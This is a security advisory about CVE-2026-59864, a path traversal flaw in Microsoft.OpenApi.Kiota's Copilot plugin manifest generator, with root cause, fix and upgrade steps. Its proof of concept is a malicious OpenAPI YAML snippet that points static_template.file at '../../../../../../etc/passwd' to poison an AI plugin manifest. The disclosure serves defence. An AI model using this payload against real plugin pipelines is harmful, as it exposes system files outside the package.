criticalCVE-2026-59864Jul 24, 2026

CVE-2026-59864: Microsoft.OpenApi.Kiota Path Traversal via x-ai-* OpenAPI Extensions

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Kiota's plugin generator copies attacker-controlled file paths from OpenAPI x-ai-* extensions straight into the generated Copilot plugin manifest with no validation, letting a malicious API…

PackageMicrosoft.OpenApi.Kiota
Ecosystemnuget
Affected< 1.32.5
Fixed in1.32.5
CVE-2026-59864: Microsoft.OpenApi.Kiota Path Traversal via x-ai-* OpenAPI Extensions

The problem

When you run kiota plugin add or kiota plugin generate -t APIPlugin, Kiota reads the x-ai-adaptive-card and x-ai-capabilities OpenAPI extensions and writes their static_template.file value verbatim into the output <name>-apiplugin.json manifest under functions[].capabilities.response_semantics.static_template.file.

No sanitization is applied. An attacker who controls or compromises the OpenAPI description (supply-chain scenario) can embed ../../ sequences, absolute paths, Windows drive paths, or file:// URIs. The poisoned manifest is then packaged and deployed to the AI host (Microsoft 365 Copilot / Teams), which resolves the path relative to the plugin package, accessing files outside the package boundary.

Proof of concept

A working proof-of-concept for CVE-2026-59864 in Microsoft.OpenApi.Kiota, with the exact payload below.

yaml
# Malicious OpenAPI description snippet (YAML)
# Either extension triggers the injection.

# Vector 1 -- x-ai-adaptive-card (title must be set for this branch to fire)
paths:
  /items:
    get:
      operationId: listItems
      x-ai-adaptive-card:
        title: "Items"
        data_path: "$.results"
        file: "../../../../../../etc/passwd"
      responses:
        '200':
          description: OK

# Vector 2 -- x-ai-capabilities (no title requirement)
paths:
  /items:
    get:
      operationId: listItems
      x-ai-capabilities:
        response_semantics:
          static_template:
            file: "../../../../../../etc/passwd"
      responses:
        '200':
          description: OK

# Resulting generated manifest (functions[].capabilities.response_semantics)
# {
#   "static_template": {
#     "file": "../../../../../../etc/passwd"
#   }
# }

The root cause is in PluginsGenerationService.GetResponseSemanticsFromAdaptiveCardExtension (and the parallel x-ai-capabilities path), which constructs the static_template object directly from the parsed extension value and emits it into the manifest without any path check.

CWE-22 (path traversal) applies because .. segments are never stripped, and CWE-829 (untrusted control sphere inclusion) applies because the file reference originates from an untrusted provider-supplied OpenAPI document.

The fix in PR #7892 (commit 9a185994) adds a validation step, commonly named something like IsValidStaticTemplateFile, that rejects any value that: is an absolute or rooted path, contains a .. segment, starts with a drive letter (Windows), or parses as an absolute URI.

Invalid values are silently dropped and a warning is emitted instead of being written to the manifest.

The fix

Upgrade Microsoft.OpenApi.Kiota to **1.32.5** or later and regenerate all affected plugin manifests. After upgrading, re-run kiota plugin generate -t APIPlugin; any static_template.file value that was previously accepted with traversal sequences will be dropped with a warning, giving you visibility into affected specs.

Review your OpenAPI sources for unexpected x-ai-adaptive-card or x-ai-capabilities entries, especially in third-party or auto-synced specs.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research